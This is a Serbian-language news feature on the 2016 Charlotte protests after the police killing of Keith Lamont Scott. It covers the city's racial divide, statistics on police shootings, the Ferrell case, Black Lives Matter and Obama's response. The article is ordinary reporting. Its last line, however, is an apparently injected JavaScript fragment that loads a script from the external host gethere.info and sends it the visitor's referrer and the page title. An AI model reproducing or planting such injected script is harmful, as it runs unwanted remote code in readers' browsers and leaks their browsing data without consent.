NEMIRI U SAD: Šarlot kao ogledalo crno-bele Amerike

Demonstranti u Šarlotu smatraju da se nalaze u začaranom krugu nepravde jer slučaj Kita Skota nije prvi. Pre tri godine beli policajac Randal Kerik ubio je dvadesetčetvorogodišnjeg nenaoružanog Džonatana Ferela

Grad Šarlot u Severnoj Karolini dom je američkih fudbalskih "pantera" i košarkaških "stršljenova". Po njima je poznat. Još je poznatiji po vlasniku pomenutih "stršljenova" i najvećem sinu ovog dela američkog Juga - košarkaškoj legendi Majklu Džordanu. Manje je poznato da je, posle Njujorka, Šarlot najveći finansijski centar Sjedinjenih Država - prestonica bankarskog Juga. U njemu je sedište Banke Amerike, ali i moćne finansijske institucije Vels Fargo, koja je, uz zdravstvene ustanove, i najveći poslodavac u gradu.

U Šarlotu posluje devet od pet stotina najuspešnijih američkih preduzeća. Pre tri godine našao se na Forbsovoj listi najboljih gradova za razvoj preduzeća i lične karijere. Dodajmo tome i suptropsku klimu, reku i najveće veštačko jezero u tom delu SAD i slika pravog malog raja na Zemlji je potpuna. Ali ne za svakoga.

Šarlot je podeljen duž crno-bele rasne linije. Dok tri petine belih domaćinstava uživa u blagodetima ovog grada sa prosečnim prihodom većim od 60.000 dolara godišnje, crni i latino-američki stanovnici Šarlota - ili tačno polovina grada - mogu samo da sanjaju takvo blagostanje.

Pre više od pola veka, crni sveštenik Martin Luter King održao je ispred Linkolnovog memorijala u Vašingtonu govor koji će istorija zapamtiti po prvim rečima: "Sanjam jedan san." "Nećemo biti zadovoljni sve dok je ijedan crnac žrtva neizrecivih užasa policijske brutalnosti", poručio je naciji, ali i svetu, Martin Luter King tog leta 1963. godine. Eho njegovih reči odzvanja i dalje na ulicama američkih gradova. Brižljivo sakupljena arhiva, koju svakodnevno vodi Vašington post, ukazuje nam na to da su američki policajci prošle godine usmrtili 990 ljudi. Od januara do danas taj broj iznosi 714.

Pravo na oružje

Poslednji u nizu zove se Kit Lamond Skot. Prošlog utorka ubio ga je policajac Brentli Vinson. Obojica su crnci iz Šarlota. Kako je do ubistva došlo?

Četrdesettrogodišnji otac sedmoro dece navodno je čitao Kuran u kolima čekajući sinovljev školski autobus. Policija, koja je krenula da uhapsi nekog drugog, odjednom je opkolila njegova kola. Ne znamo zašto. Kitova supruga snimala je ceo incident mobilnim telefonom. Na snimku, koji je ekskluzivno prikazala američka televizijska mreža NBC, jasno se čuje poziv supruge Kitu da izađe iz kola. Čuju se i njena neprestana upozorenja policajcima da ne pucaju jer njen muž nije naoružan i ima oštećenje mozga. Na snimku se ne vidi šta to Kit ima u ruci pošto je izašao iz kola. Vidi se da nije digao ruke uvis. Zatim se čiju četiri pucnja. Supruga reaguje neprekidnim ponavljanjem: "Pucali ste na njega. Molite se Bogu da je živ."

Jasno je da se snimak raširio internetom kao šumski požar. I zapalio fitilj nereda, koji su u Šarlotu eksplodirali prošle nedelje. Epilog - jedan mrtav i devet ranjenih demonstranata, nekoliko desetina uhapšenih, velika materijalna šteta i vanredno stanje u gradu. Policija je posle dosta opiranja objavila snimke ubistva Kita Lamonda Skota načinjene kamerama u policijskim kolima i na telu jednog od policajaca. Ni ti snimci nisu nam pomogli da shvatimo šta se u stvari dogodilo.

Policija negira tvrdnje porodice Skot da je Kit u ruci držao knjigu kada je upucan. Tvrdi da je pucnjava počela kada je jedan od policajaca u Kitovim kolima primetio marihuanu, a u njegovoj ruci pištolj. Objavila je i fotografije pištolja na kom se nalaze Kitovi otisci prstiju, kao i futrole za pištolj, koja je navodno bila opasana oko njegove noge.

Iako je posedovanje marihuane protivzakonito, reč je o prestupu kome se uglavnom gleda kroz prste. Dakle, teško da bi Kit reskirao život kako ne bi bio uhvaćen u posedovanju lake droge

Zastanimo za trenutak. Pravo na nošenje oružja u Sjedinjenim Državama garantovano je Ustavom, tačnije drugim amandmanom na najviši američki zakonski akt. Dakle, Kit Lemond Skot imao je pravo da bude naoružan. Policija kaže da nije imao to pravo zbog prethodnih prestupa u vezi sa nošenjem oružja. Pošto je pištolj, legalno ili ne, bio njegov, jasno je da se na njemu nalaze i otisci prstiju ubijenog. To nam ništa ne govori o ključnom pitanju na koje nema odgovora - da li je Kit zaista uperio pištolj na policiju i zašto bi to uradio u situaciji kada je opkoljen čitavom četom dobro naoružanih ljudi? Drugo, prema sveameričkom istraživanju o korišćenju narkotika i zdravlju, marihuana je najrasprostranjenija droga u toj zemlji. Koristi je više od 22 miliona ljudi ili svaki četrnaesti građanin. Iako je posedovanje marihuane protivzakonito, reč je o prestupu kome se uglavnom gleda kroz prste. Dakle, teško da bi Kit reskirao život kako ne bi bio uhvaćen u posedovanju lake droge.

Zato ne čudi što je crnačko stanovništvo zaključilo da je Kit najnovija žrtva policijske brutalnosti. Nedelju dana pre Kita policajci su u gradu Tulsi u državi Oklahoma ubili Terensa Kručera, sina crnog sveštenika. Otac Džoi Kručer na događaje u Šarlotu reagovao je sledećim rečima: "Sve je to nastavak iste stvari, koja se neprekidno ponavlja, a usmerena je pre svega na obojene ljude. Da je bilo obratno, da je reč o belcu, sve bi bilo potpuno drugačije." Da se nalaze u začaranom krugu nepravde smatraju i demonstranti u Šarlotu, jer Kitov slučaj nije prvi. Pre tri godine beli policajac Randal Kerik ubio je dvadesetčetvorogodišnjeg nenaoružanog Džonatana Ferela. Mladić je bio lokalna zvezda amaterskog američkog fudbala. Njegov greh sastojao se u tome što je potražio pomoć policije posle saobraćajne nesreće. Rendal Kerik optužen je za ubistvo iz nehata. Suđenje je obustavljeno prošle godine pošto porota nije uspela da donese presudu. Grad Šarlot platio je Keriku zaostale zarade, nekorišćen godišnji odmor i sudske troškove.

Ukupno 180.000 dolara. Doduše, gradske vlasti nagodile su se i sa porodicom Ferel, koja ih je tužila i dobila čak 2,25 miliona dolara odštete. Tim novcem kupljen je tada i mir na ulicama. Ovoga puta, crno stanovništvo Šarlota nije imalo strpljenja da mirno čeka odluke sudova.

"Crni životi znače"

Slučajevi Skot i Ferel otkrivaju nam još nešto - crnačko stanovništvo zna svoja prava i ne plaši se policije. Porodica Ferel uspešno je tužila grad Šarlot. Supruga Kita Skota bila je dovoljno prisebna da ubistvo muža snimi mobilnim telefonom i iskoristi društvene mreže i televiziju da skrene pažnju na incident. Odakle ovakva samosvest?

Korene svakako treba tražiti u pokretu iz šezdesetih godina prošlog veka, koji je stavio tačku na državnu rasnu segregaciju. Svakako da joj doprinosi i aktivnost organizacija poput "Crni životi znače". Osnovale su je tri žene sa dva kraja SAD - novinarka i aktivistkinja za ljudska prava iz Ouklanda Ališa Garza, spisateljica iz Njujorka Opal Tometi i umetnica iz Los Anđelesa Patris Kalors. Za njih i njihove sledbenike priznati da crni životi znače predstavlja priznanje "da su crnci lišeni osnovnog ljudskog dostojanstva i prava, da je crnačko siromaštvo oblik državnog genocida, da je milion crnaca zatvoreno u kaveze (državne zatvore), da crne žene trpe državno nasilje nad svojom decom i porodicama, da je pola miliona crnaca u Americi bez dokumenata". Sve ovo doslovce piše u manifestu ove organizacije, koja smatra da "crnačko stanovništvo bivstvuje u uslovima koji su posledica državnog nasilja". "Kada budemo uspeli da okončamo hiperkriminalizaciju i seksualizaciju crnačkog stanovništva, kada budemo stavili tačku na siromaštvo, kontrolu i nadzor crnačkog stanovništva, svako na svetu biće u boljem položaju da postane i ostane slobodan. Kada crnci postanu slobodni, svi će biti slobodni", poručuju osnivačice ovog pokreta.

Njihove tvrdnje imaju potporu i u podacima, koje objavljuje veb-stranica "Mapiranje policijskog nasilja". Njeni autori zabeležili su 214 afroameričkih žrtava policije u ovoj i 346 u prošloj godini. Ističu da je tri puta verovatnije da policija pripuca u crnca nego u belca. Podsećaju da je 30 odsto crnaca u koje je policija pucala prošle godine bilo nenaoružano, dok je bez oružja bilo samo 19 procenata belaca na nišanu snaga reda. Savetuju obojene građane i gde je bezbednije živeti. Poručuju im da je sedam puta verovatnije da na njih zapuca policija Oklahome nego Džordžije. I najzad, ističu da čak 97 procenata policajaca koji su usmrtili crnce iz vatrenog oružja nije pozvano ni na kakvu odgovornost. Zato ne čudi što organizacija "Crni životi znače" poziva na ukidanje policijskog prisustva i samoorganizovano čuvanje reda u dominantno crnim četvrtima.

I dok afroamerička populacija pokazuje koheziju u svom odgovoru na ponašanje policije, belo stanovništvo SAD je podeljeno. Koliko, najbolje pokazuje slučaj Univerziteta u Vermontu, državi, koja se posebno izdvojila nedavnom aktivnošću njenog liberalnog senatora i zamalo Trampovog rivala za mesto predsednika SAD Bernija Sandersa. Studenti u Vermontu su, uz američku, na zgradi Univerziteta istakali i zastavu pokreta "Crni životi znače" u znak solidarnosti sa demonstrantima u Šarlotu. Zastava je sledećeg dana misteriozno nestala sa jarbola. Sutradan je pak istaknuta nova. Društvene mreže su u međuvremenu eksplodirale od međusobnih optužbi. Za američku desnicu Kit Skot je kriminalac sa dosijeom, što daje zeleno svetlo oružanoj akciji policije. Za njih je organizacija "Crni životi znače" teroristička, antipolicijska i zaslepljena rasnom mržnjom prema belcima. Za američke liberale, stvari nisu tako jednostavne. Primetan je veliki broj belih demonstranata kako u Šarlotu, tako i u drugim američkim gradovima, u sličnim prilikama.

A kako na sve to reaguje prvi obojeni predsednik u istoriji SAD? U julu veteran avganistanskog rata Havijer Džonson snajperskom puškom je usmrtio pet policajca u teksaskom gradu Dalasu, ljut zbog smrti crnaca u Minesoti i Luizijani tokom demonstracija protiv policijskog nasilja. Džonson, inače u posedu pravog ličnog arsenala, istakao je da je želeo da ubija belce i policajce. Dve nedelje potom, bivši američki marinac Gevin Long, na svoj 29. rođendan, otvorio je u Baton Ružu vatru na šest policajaca, usmrtivši trojicu. Predsednik Obama reagovao je otvorenim pismom podrške policiji, ali i ukazivanjem na disproporciju u nasilju plavih bluza prema obojenoj populaciji.

Dženkins zaključuje da su glavni faktori ovakvog stanja u društvu "objektivizacija, erozija empatije, kultura rata i represije, kao i idologija bele suprematije"

Barak Obama formirao je i posebne snage koje treba da uspostave poverenje između crnih zajednica i policije. Aktuelni predsednik obezbedio je i prvi novac za kamere, koje izvestan broj policajaca nosi na svojoj opremi kako bi njihov rad bio što transparentniji. Međutim, Kongres nije odobrio dalji novac za širenje tog projekta. Obamin oprezni hod po zapaljivoj liniji razdvajanja između crnog stanovništva i momaka u plavom nikoga nije zadovoljio. Za crnce je predsednik u službi policije. Za republikance, Obama povlađuje kriminalcima.

Veterani u policiji

Jaz, dakle, ostaje isti. Kulturološkim korenima policijskog nasilja u SAD do sada se ozbiljno pozabavio samo ratni veteran Kolin Dženkins. Godine 2014. u svojoj analizi "Povratak na kućni ražanj: Američki militarizam, ratna kultura i policijska brutalnost" Dženkins zaključuje da su glavni faktori ovakvog stanja u društvu "objektivizacija, erozija empatije, kultura rata i represije, kao i idologija bele suprematije". On ukazuje na to da je veliki broj američkih ratnih veterana ušlo u redove policije donevši sa sobom mentalitet, način obuke i ponašanja sa ratišta u Avganistanu i Iraku što je pospešilo brutalnost među plavcima. Vidimo da na sličan način odgovaraju i ratni veterani sa druge vatrene strane linije rasnog razdvajanja. Policijske žrtve u Dalasu i Baton Ružu su dokaz za to.

Ima li dakle izlaza iz crno-plavog lavirinta? U svetu kakav je sanjao Martin Luter King naravno da ima. U realnosti, rešenje ovog problema daleko je koliko i ostvarenje američkog sna za prosečnog afro-američkog stanovnika. Međutim, nema se vremena. Napetost raste, a incidenti se umnožavaju. Ko god da u januaru bude ušao u Belu kuću, moraće da ovo pitanje stavi visoko na listu političkih prioriteta, jer crni, ali i plavi, životi znače.

 s.src='http://gethere.info/kt/?264dpr&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + '';